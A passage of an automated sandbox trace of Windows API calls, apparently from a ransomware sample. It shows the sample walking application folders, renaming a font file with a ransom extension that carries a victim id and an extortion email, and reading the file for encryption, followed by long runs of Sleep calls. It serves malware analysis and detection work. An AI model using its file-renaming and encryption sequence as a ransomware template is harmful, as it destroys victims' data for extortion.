hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0274.701] Sleep (dwMilliseconds=0x1) [0274.717] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageBadgeLogo.scale-200_contrast-white.png", len=0xa0 | out: pbstr=0x623ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageBadgeLogo.scale-200_contrast-white.png") returned 1 [0274.717] GetProcessHeap () returned 0x630000 [0274.717] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c24) returned 0x6fe3bb0 [0274.717] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageBadgeLogo.scale-200_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-white\\apppackagebadgelogo.scale-200_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.718] Sleep (dwMilliseconds=0x1) [0274.731] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-80_contrast-white.png", len=0xa2 | out: pbstr=0x623ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-80_contrast-white.png") returned 1 [0274.731] GetProcessHeap () returned 0x630000 [0274.731] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c18) returned 0x6fe3bb0 [0274.731] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-80_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-white\\apppackageapplist.targetsize-80_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.733] Sleep (dwMilliseconds=0x1) [0274.749] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-64_altform-unplated_contrast-white.png", len=0xb3 | out: pbstr=0x623ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-64_altform-unplated_contrast-white.png") returned 1 [0274.749] GetProcessHeap () returned 0x630000 [0274.749] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c04) returned 0x6fe3bb0 [0274.749] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-64_altform-unplated_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-white\\apppackageapplist.targetsize-64_altform-unplated_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.750] Sleep (dwMilliseconds=0x1) [0274.763] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-48_contrast-white.png", len=0xa2 | out: pbstr=0x623ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-48_contrast-white.png") returned 1 [0274.763] GetProcessHeap () returned 0x630000 [0274.763] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bf8) returned 0x6fe3bb0 [0274.763] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-48_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-white\\apppackageapplist.targetsize-48_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.764] Sleep (dwMilliseconds=0x1) [0274.780] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-32_contrast-white.png", len=0xa2 | out: pbstr=0x623ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-32_contrast-white.png") returned 1 [0274.780] GetProcessHeap () returned 0x630000 [0274.780] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4be4) returned 0x6fe3bb0 [0274.780] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-32_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-white\\apppackageapplist.targetsize-32_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.782] Sleep (dwMilliseconds=0x1) [0274.793] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-256_contrast-white.png", len=0xa3 | out: pbstr=0x623ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-256_contrast-white.png") returned 1 [0274.793] GetProcessHeap () returned 0x630000 [0274.793] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bd4) returned 0x6fe3bb0 [0274.793] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-256_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-white\\apppackageapplist.targetsize-256_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.793] Sleep (dwMilliseconds=0x1) [0274.814] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-16_contrast-white.png", len=0xa2 | out: pbstr=0x623ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-16_contrast-white.png") returned 1 [0274.814] GetProcessHeap () returned 0x630000 [0274.814] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bbc) returned 0x6fe3bb0 [0274.814] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-16_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-white\\apppackageapplist.targetsize-16_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.816] Sleep (dwMilliseconds=0x1) [0274.825] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageSmallTile.scale-200_contrast-black.png", len=0xa0 | out: pbstr=0x623ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageSmallTile.scale-200_contrast-black.png") returned 1 [0274.825] GetProcessHeap () returned 0x630000 [0274.825] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bac) returned 0x6fe3bb0 [0274.825] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageSmallTile.scale-200_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-black\\apppackagesmalltile.scale-200_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.825] Sleep (dwMilliseconds=0x1) [0274.846] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-80_altform-unplated_contrast-black.png", len=0xb3 | out: pbstr=0x623ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-80_altform-unplated_contrast-black.png") returned 1 [0274.846] GetProcessHeap () returned 0x630000 [0274.846] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b90) returned 0x6fe3bb0 [0274.846] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-80_altform-unplated_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-black\\apppackageapplist.targetsize-80_altform-unplated_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.848] Sleep (dwMilliseconds=0x1) [0274.857] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-64_contrast-black.png", len=0xa2 | out: pbstr=0x623ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-64_contrast-black.png") returned 1 [0274.858] GetProcessHeap () returned 0x630000 [0274.858] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b84) returned 0x6fe3bb0 [0274.858] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-64_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-black\\apppackageapplist.targetsize-64_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.859] Sleep (dwMilliseconds=0x1) [0274.877] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-36_altform-unplated_contrast-black.png", len=0xb3 | out: pbstr=0x623ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-36_altform-unplated_contrast-black.png") returned 1 [0274.877] GetProcessHeap () returned 0x630000 [0274.877] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b60) returned 0x6fe3bb0 [0274.877] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-36_altform-unplated_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-black\\apppackageapplist.targetsize-36_altform-unplated_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.879] Sleep (dwMilliseconds=0x1) [0274.889] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-256_contrast-black.png", len=0xa3 | out: pbstr=0x623ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-256_contrast-black.png") returned 1 [0274.889] GetProcessHeap () returned 0x630000 [0274.889] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b4c) returned 0x6fe3bb0 [0274.889] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-256_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-black\\apppackageapplist.targetsize-256_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.891] Sleep (dwMilliseconds=0x1) [0274.907] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.scale-200_contrast-black.png", len=0x9e | out: pbstr=0x623ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.scale-200_contrast-black.png") returned 1 [0274.907] GetProcessHeap () returned 0x630000 [0274.907] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b2c) returned 0x6fe3bb0 [0274.907] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.scale-200_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-black\\apppackageapplist.scale-200_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.909] Sleep (dwMilliseconds=0x1) [0274.933] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCKEB.TTF", len=0x43 | out: pbstr=0x623ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCKEB.TTF") returned 1 [0274.933] GetProcessHeap () returned 0x630000 [0274.933] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b20) returned 0x6fe3bb0 [0274.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCKEB.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\rockeb.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0274.967] CloseHandle (hObject=0x6f4) returned 1 [0274.967] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0274.967] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCKEB.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\rockeb.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCKEB.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\rockeb.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0274.973] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0274.973] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCKEB.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fc6c | out: lpFindFileData=0x623fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x889e7568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x889e7568, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89395811, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc010, dwReserved0=0x0, dwReserved1=0x0, cFileName="ROCKEB.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ROCKEB~1.FIR")) returned 0x6d4f80 [0274.974] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0274.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCKEB.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\rockeb.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0275.001] GetProcessHeap () returned 0x630000 [0275.001] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7219168 [0275.001] GetProcessHeap () returned 0x630000 [0275.001] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70c30a8 [0275.002] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0275.002] ReadFile (in: hFile=0x648, lpBuffer=0x7219168, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7219168*, lpNumberOfBytesRead=0x623ff0c*=0xb400, lpOverlapped=0x0) returned 1 Thread: id = 82 os_tid = 0x12a8 [0067.704] Sleep (dwMilliseconds=0x1) [0067.824] Sleep (dwMilliseconds=0x1) [0067.937] Sleep (dwMilliseconds=0x1) [0068.041] Sleep (dwMilliseconds=0x1) [0068.149] Sleep (dwMilliseconds=0x1) [0068.280] Sleep (dwMilliseconds=0x1) [0068.398] Sleep (dwMilliseconds=0x1) [0068.496] Sleep (dwMilliseconds=0x1) [0068.541] Sleep (dwMilliseconds=0x1) [0068.702] Sleep (dwMilliseconds=0x1) [0068.743] Sleep (dwMilliseconds=0x1) [0068.796] Sleep (dwMilliseconds=0x1) [0068.839] Sleep (dwMilliseconds=0x1) [0068.888] Sleep (dwMilliseconds=0x1) [0068.931] Sleep (dwMilliseconds=0x1) [0068.980] Sleep (dwMilliseconds=0x1) [0069.043] Sleep (dwMilliseconds=0x1) [0069.109] Sleep (dwMilliseconds=0x1) [0069.155] Sleep (dwMilliseconds=0x1) [0069.202] Sleep (dwMilliseconds=0x1) [0069.245] Sleep (dwMilliseconds=0x1) [0069.296] Sleep (dwMilliseconds=0x1) [0069.374] Sleep (dwMilliseconds=0x1) [0069.439] Sleep (dwMilliseconds=0x1) [0069.479] Sleep (dwMilliseconds=0x1) [0069.526] Sleep (dwMilliseconds=0x1) [0069.691] Sleep (dwMilliseconds=0x1) [0069.915] Sleep (dwMilliseconds=0x1) [0070.149] Sleep (dwMilliseconds=0x1) [0070.260] Sleep (dwMilliseconds=0x1) [0070.384] Sleep (dwMilliseconds=0x1) [0070.532] Sleep (dwMilliseconds=0x1) [0070.871] Sleep (dwMilliseconds=0x1) [0071.566] Sleep (dwMilliseconds=0x1) [0071.944] Sleep (dwMilliseconds=0x1) [0072.427] Sleep (dwMilliseconds=0x1) [0072.609] Sleep (dwMilliseconds=0x1) [0072.797] Sleep (dwMilliseconds=0x1) [0072.908] Sleep (dwMilliseconds=0x1) [0073.096] Sleep (dwMilliseconds=0x1) [0073.393] Sleep (dwMilliseconds=0x1) [0073.723] Sleep (dwMilliseconds=0x1) [0073.933] Sleep (dwMilliseconds=0x1) [0074.046] Sleep (dwMilliseconds=0x1) [0074.178] Sleep (dwMilliseconds=0x1) [0074.383] Sleep (dwMilliseconds=0x1) [0074.668] Sleep (dwMilliseconds=0x1) [0074.774] Sleep (dwMilliseconds=0x1) [0074.846] Sleep (dwMilliseconds=0x1) [0074.904] Sleep (dwMilliseconds=0x1) [0075.001] Sleep (dwMilliseconds=0x1) [0075.060] Sleep (dwMilliseconds=0x1) [0075.106] Sleep (dwMilliseconds=0x1) [0075.157] Sleep (dwMilliseconds=0x1) [0075.216] Sleep (dwMilliseconds=0x1) [0075.263] Sleep (dwMilliseconds=0x1) [0075.305] Sleep (dwMilliseconds=0x1) [0075.361] Sleep (dwMilliseconds=0x1) [0075.421] Sleep (dwMilliseconds=0x1) [0075.512] Sleep (dwMilliseconds=0x1) [0075.568] Sleep (dwMilliseconds=0x1) [0075.611] Sleep (dwMilliseconds=0x1) [0075.691] Sleep (dwMilliseconds=0x1) [0075.749] Sleep (dwMilliseconds=0x1) [0075.787] Sleep (dwMilliseconds=0x1) [0075.836] Sleep (dwMilliseconds=0x1) [0076.043] Sleep (dwMilliseconds=0x1) [0076.063] Sleep (dwMilliseconds=0x1) [0076.082] Sleep (dwMilliseconds=0x1) [0076.108] Sleep (dwMilliseconds=0x1) [0076.185] Sleep (dwMilliseconds=0x1) [0076.392] Sleep (dwMilliseconds=0x1) [0076.529] Sleep (dwMilliseconds=0x1) [0076.673] Sleep (dwMilliseconds=0x1) [0076.752] Sleep (dwMilliseconds=0x1) [0076.779] Sleep (dwMilliseconds=0x1) [0076.799] Sleep (dwMilliseconds=0x1) [0076.840] Sleep (dwMilliseconds=0x1) [0076.873] Sleep (dwMilliseconds=0x1) [0076.919] Sleep (dwMilliseconds=0x1) [0076.986] Sleep (dwMilliseconds=0x1) [0077.064] Sleep (dwMilliseconds=0x1) [0077.149] Sleep (dwMilliseconds=0x1) [0077.220] Sleep (dwMilliseconds=0x1) [0077.290] Sleep (dwMilliseconds=0x1) [0077.358] Sleep (dwMilliseconds=0x1) [0077.414] Sleep (dwMilliseconds=0x1) [0077.519] Sleep (dwMilliseconds=0x1) [0077.599] Sleep (dwMilliseconds=0x1) [0077.647] Sleep (dwMilliseconds=0x1) [0077.690] Sleep (dwMilliseconds=0x1) [0077.734] Sleep (dwMilliseconds=0x1) [0077.784] Sleep (dwMilliseconds=0x1) [0077.831] Sleep (dwMilliseconds=0x1) [0077.858] Sleep (dwMilliseconds=0x1) [0077.910] Sleep (dwMilliseconds=0x1) [0077.961] Sleep (dwMilliseconds=0x1) [0077.980] Sleep (dwMilliseconds=0x1) [0077.996] Sleep (dwMilliseconds=0x1) [0078.060] Sleep (dwMilliseconds=0x1) [0078.092] Sleep (dwMilliseconds=0x1) [0078.119] Sleep (dwMilliseconds=0x1) [0078.133] Sleep (dwMilliseconds=0x1) [0078.193] Sleep (dwMilliseconds=0x1) [0078.223] Sleep (dwMilliseconds=0x1) [0078.239] Sleep (dwMilliseconds=0x1) [0078.252] Sleep (dwMilliseconds=0x1) [0078.272] Sleep (dwMilliseconds=0x1) [0078.285] Sleep (dwMilliseconds=0x1) [0078.314] Sleep (dwMilliseconds=0x1) [0078.359] Sleep (dwMilliseconds=0x1) [0078.380] Sleep (dwMilliseconds=0x1) [0078.450] Sleep (dwMilliseconds=0x1) [0078.532] Sleep (dwMilliseconds=0x1) [0078.563] Sleep (dwMilliseconds=0x1) [0078.611] Sleep (dwMilliseconds=0x1) [0078.626] Sleep (dwMilliseconds=0x1) [0078.647] Sleep (dwMilliseconds=0x1) [0078.658] Sleep (dwMilliseconds=0x1) [0078.677] Sleep (dwMilliseconds=0x1) [0078.710] Sleep (dwMilliseconds=0x1) [0078.719] Sleep (dwMilliseconds=0x1) [0078.740] Sleep (dwMilliseconds=0x1) [0078.752] Sleep (dwMilliseconds=0x1) [0078.771] Sleep (dwMilliseconds=0x1) [0078.784] Sleep (dwMilliseconds=0x1) [0078.839] Sleep (dwMilliseconds=0x1) [0078.884] Sleep (dwMilliseconds=0x1) [0078.897] Sleep (dwMilliseconds=0x1) [0078.925] Sleep (dwMilliseconds=0x1) [0078.947] Sleep (dwMilliseconds=0x1) [0078.955] Sleep (dwMilliseconds=0x1) [0078.980] Sleep (dwMilliseconds=0x1) [0079.001] Sleep (dwMilliseconds=0x1) [0079.033] Sleep (dwMilliseconds=0x1) [0079.048] Sleep (dwMilliseconds=0x1) [0079.081] Sleep (dwMilliseconds=0x1) [0079.096] Sleep (dwMilliseconds=0x1) [0079.118] Sleep (dwMilliseconds=0x1) [0079.127] Sleep (dwMilliseconds=0x1) [0079.161] Sleep (dwMilliseconds=0x1) [0079.223] Sleep (dwMilliseconds=0x1) [0079.252] Sleep (dwMilliseconds=0x1) [0079.268] Sleep (dwMilliseconds=0x1) [0079.288] Sleep (dwMilliseconds=0x1) [0079.299] Sleep (dwMilliseconds=0x1) [0079.317] Sleep (dwMilliseconds=0x1) [0079.328] Sleep (dwMilliseconds=0x1) [0079.349] Sleep (dwMilliseconds=0x1) [0079.360] Sleep (dwMilliseconds=0x1) [0079.389] Sleep (dwMilliseconds=0x1) [0079.417] Sleep (dwMilliseconds=0x1) [0079.422] Sleep (dwMilliseconds=0x1) [0079.448] Sleep (dwMilliseconds=0x1) [0079.514] Sleep (dwMilliseconds=0x1) [0079.543] Sleep 